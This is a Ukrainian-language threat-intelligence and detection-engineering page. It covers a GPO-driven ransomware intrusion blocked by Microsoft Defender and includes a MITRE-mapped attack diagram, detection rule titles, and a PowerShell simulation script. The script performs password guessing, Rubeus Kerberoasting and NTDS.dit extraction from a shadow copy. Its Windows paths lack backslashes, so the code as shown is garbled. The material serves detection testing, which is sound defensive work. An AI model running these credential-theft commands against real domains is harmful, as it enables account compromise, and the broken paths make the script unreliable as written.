Кейс: Як Захисний Щит Системи Захисту Блокував Рансомware на Основі GPO до Виконання
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Microsoft Defender перервав атаку програми-вимагача, керовану людиною, спрямовану на велику освітню організацію, виявивши зловживання Об’єктами групової політики (GPO), які використовувалися для ослаблення налаштувань безпеки та розповсюдження програми-вимагача через заплановані завдання.
Розслідування
Атакуючі скомпрометували обліковий запис адміністратора домену, здійснили перерахування Active Directory, перебрали облікові дані, зібрали квитки Kerberos і дані NTDS, створили шахрайські локальні облікові записи та розгорнули шкідливі GPO, щоб реалізувати політику підробки та ініціювати доставку програми-вимагача через заплановані завдання.
Пом’якшення
Захисний екран Defender передбачив шкідливу активність GPO, забезпечивши тимчасове посилення GPO, заблокувавши розгортання програми-вимагача через заплановані завдання та запобігши шифруванню на 97% пристроїв.
Відповідь
Після виявлення захисники повинні негайно активувати посилення GPO, ізолювати скомпрометовані облікові записи, заблокувати підозрілий SMB-трафік та розслідувати наявність додаткових методів стійкості, включаючи несанкціоноване створення локальних облікових записів.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Reconnaissance Nodes recon_action["<b>Дія</b> – Розвідка<br/>Використано AD Explorer для перерахування Active Directory і здійснено вгадування паролів."] class recon_action action recon_brute["<b>Техніка</b> – T1110 Брутфорс: Вгадування паролів<br/><b>Опис</b> Спроби вгадати паролі методом проб та помилок."] class recon_brute technique recon_account["<b>Техніка</b> – T1087.002 Виявлення облікових записів: Домашній обліковий запис<br/><b>Опис</b> Перераховує облікові записи користувачів домену."] class recon_account technique recon_gpo["<b>Техніка</b> – T1615 Виявлення групової політики<br/><b>Опис</b> Отримує налаштування групової політики з контролерів домену."] class recon_gpo technique %% Reconnaissance Connections recon_action –>|використовує| recon_brute recon_action –>|виявляє| recon_account recon_action –>|виявляє| recon_gpo %% Credential Access Nodes action_cred["<b>Дія</b> – Доступ до облікових даних<br/>Виконано Kerberoasting і скинуто NTDS.dit."] class action_cred action tech_kerb["<b>Техніка</b> – T1558.003 Kerberoasting<br/><b>Опис</b> Запити квитків на сервісі та їх злам офлайн."] class tech_kerb technique tech_ntds["<b>Техніка</b> – T1003.003 Скидання облікових даних ОС: NTDS<br/><b>Опис</b> Витягує хеші паролів з бази даних Active Directory."] class tech_ntds technique %% Credential Access Connections action_cred –>|використовує| tech_kerb action_cred –>|використовує| tech_ntds %% Persistence Nodes action_persist["<b>Дія</b> – Стійкість<br/>Створено нові локальні облікові записи на скомпрометованих хостах."] class action_persist action tech_create_local["<b>Техніка</b> – T1136.001 Створення облікового запису: Локальний обліковий запис<br/><b>Опис</b> Додає локальні облікові записи користувачів для безперервного доступу."] class tech_create_local technique %% Persistence Connections action_persist –>|використовує| tech_create_local %% Lateral Movement Nodes action_lateral["<b>Дія</b> – Бічний рух<br/>Використано викрадені облікові дані домену для доступу до віддалених адміністративних шар через SMB."] class action_lateral action tech_smb["<b>Техніка</b> – T1021.002 Віддалені служби SMB/Адміністративні шари Windows<br/><b>Опис</b> Використовує SMB для бічного руху."] class tech_smb technique %% Lateral Movement Connections action_lateral –>|використовує| tech_smb %% Defense Evasion Nodes action_evasion["<b>Дія</b> – Уникання захисту<br/>Розгорнуто шкідливе GPO для відключення Microsoft Defender."] class action_evasion action tech_gpo_mod["<b>Техніка</b> – T1484 Модифікація політики домену або орендаря<br/><b>Опис</b> Змінює Об’єкти групової політики для зміни налаштувань безпеки."] class tech_gpo_mod technique tech_impair["<b>Техніка</b> – T1562.001 Погіршення захисту Відключення чи модифікація інструментів<br/><b>Опис</b> Вимикає або модифікує засоби безпеки."] class tech_impair technique %% Defense Evasion Connections action_evasion –>|модифікація| tech_gpo_mod action_evasion –>|відключення| tech_impair %% Impact Preparation Nodes action_impact["<b>Дія</b> – Підготовка до впливу<br/>Створено заплановане завдання через GPO для копіювання та виконання файлів на всіх машинах домену."] class action_impact action tech_scheduled["<b>Техніка</b> – T1053 Заплановане завдання/Робота<br/><b>Опис</b> Заплановано виконання команд у визначений час."] class tech_scheduled technique tech_cmd["<b>Техніка</b> – T1059.003 Інтерпретатор команд і сценаріїв Windows Command Shell<br/><b>Опис</b> Виконує пакетні файли за допомогою cmd.exe."] class tech_cmd technique tech_rundll["<b>Техніка</b> – T1218.011 Системне виконання бінарного проксі Rundll32<br/><b>Опис</b> Завантажує шкідливі DLL через rundll32.exe."] class tech_rundll technique %% Impact Preparation Connections action_impact –>|створення| tech_scheduled action_impact –>|виконання| tech_cmd action_impact –>|використовує| tech_rundll %% Ransomware Deployment Nodes action_ransom["<b>Дія</b> – Розгортання програми-вимагача<br/>Підготовлено плат, спроби зашифрувати файли; Defender заблокував розповсюдження GPO на багатьох пристроях."] class action_ransom action tech_encrypt["<b>Техніка</b> – T1486 Шифрування даних для впливу<br/><b>Опис</b> Шифрує дані жертви, щоб вимагати викуп."] class tech_encrypt technique %% Ransomware Deployment Connections action_ransom –>|використовує| tech_encrypt %% Загальна секція потоку recon_action –>|приводить до| action_cred action_cred –>|приводить до| action_persist action_persist –>|приводить до| action_lateral action_lateral –>|приводить до| action_evasion action_evasion –>|приводить до| action_impact action_impact –>|приводить до| action_ransom "
Потік атаки
Виявлення
Можлива активність Kerberoasting [кореляція/період_ченка 10 хвилин/по src_ipaddr] (через аудит)
Перегляд
Можливі шаблони інструменту AD Explorer (через cmdline)
Перегляд
Відключення реального часу моніторингу Windows Defender та зміни інших вподобань (через cmdline)
Перегляд
Виявлення перерахування Active Directory та активностей збору облікових даних [Журнал подій безпеки Microsoft Windows]
Перегляд
Виконання симуляції
Передумова: Перевірка телеметрії та базового стану повинна пройти.
Обґрунтування: Цей розділ описує точне виконання техніки супротивника (TTP), розробленої для тригеру правила виявлення. Команди і розповідь повинні безпосередньо відображати ідентифіковані TTP і націлені на генерацію точної телеметрії, що очікується логікою виявлення.
Опис атаки та команди
-
Перерахування Active Directory за допомогою ADExplorer – Атакуючий використовує утиліту living‑off‑the‑land ADExplorer.exe для перегляду бази даних AD, генеруючи подію створення процесу, що відповідає
Образ | закінчується на 'ADExplorer.exe'. -
Брутфорс облікових даних (T1110) – Атакуючий виконує спрей паролями проти облікового запису домену, спричиняючи повторні невдалі спроби входу (Подія 4625) з причиною збою
%#13(“Користувач намагався увійти з ненадійного домену”). -
Kerberoasting (T1558.003) – Використовуючи відкритий вихідний код інструмент Rubeus, атакуючий запитує квитки на обслуговування Kerberos для SPN комп’ютерних облікових записів (наприклад,
HOST01$). Кожен запит отримує Подію 4769 деІм'я сервісузакінчується на$. -
Скид NTDS (T1003.003) – Атакуючий створює копію тіні обсягу системного диска та витягує
NTDS.ditза допомогоюntdsutil, спричиняючи подію 4662 зТип об'єкта = "ds"andТип операції = "Реплікація".
Усі чотири дії виконуються на одному хості протягом 5-хвилинного вікна для емулювання реалістичної фази “збір” після компрометації.
Скрипт регресійного тестування
# -------------------------------------------------
# Симуляційний скрипт – Тригерить всі чотири шляхи виявлення
# -------------------------------------------------
# 1. Виконання ADExplorer (створення процесу)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
Write-Host "ADExplorer не знайдено – завантажити заповнювач для тестування."
# Імітувати шляхом копіювання будь-якого exe на ім'я, що очікується
Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5
# 2. Брутфорс спроби входу (4625 з %#13)
$domain = "CONTOSO"
$user = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
$null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
Start-Sleep -Milliseconds 500
}
# 3. Kerberoasting через Rubeus (вимагає Rubeus.exe у PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
Write-Host "Rubeus не знайдено – пропустити крок Kerberoasting."
} else {
& $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5
# 4. Витяг NTDS.dit за допомогою VSS (4662 реплікація)
# Створення копії VSS тіні та копіювання NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5
Write-Host "Симуляція завершена. Уся телеметрія повинна бути зібрана."
Команди очищення
# -------------------------------------------------
# Очищення – видаляє артефакти, створені симуляцією
# -------------------------------------------------
# Видалити фальшивий ADExplorer, якщо він був створений
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue
# Видалити дамп Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue
# Видалити кладичку NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue
# Очистити будь-які створені тіньові копії (вимагає адміністратора)
# vssadmin delete shadows /all /quiet
Write-Host "Очищення завершено."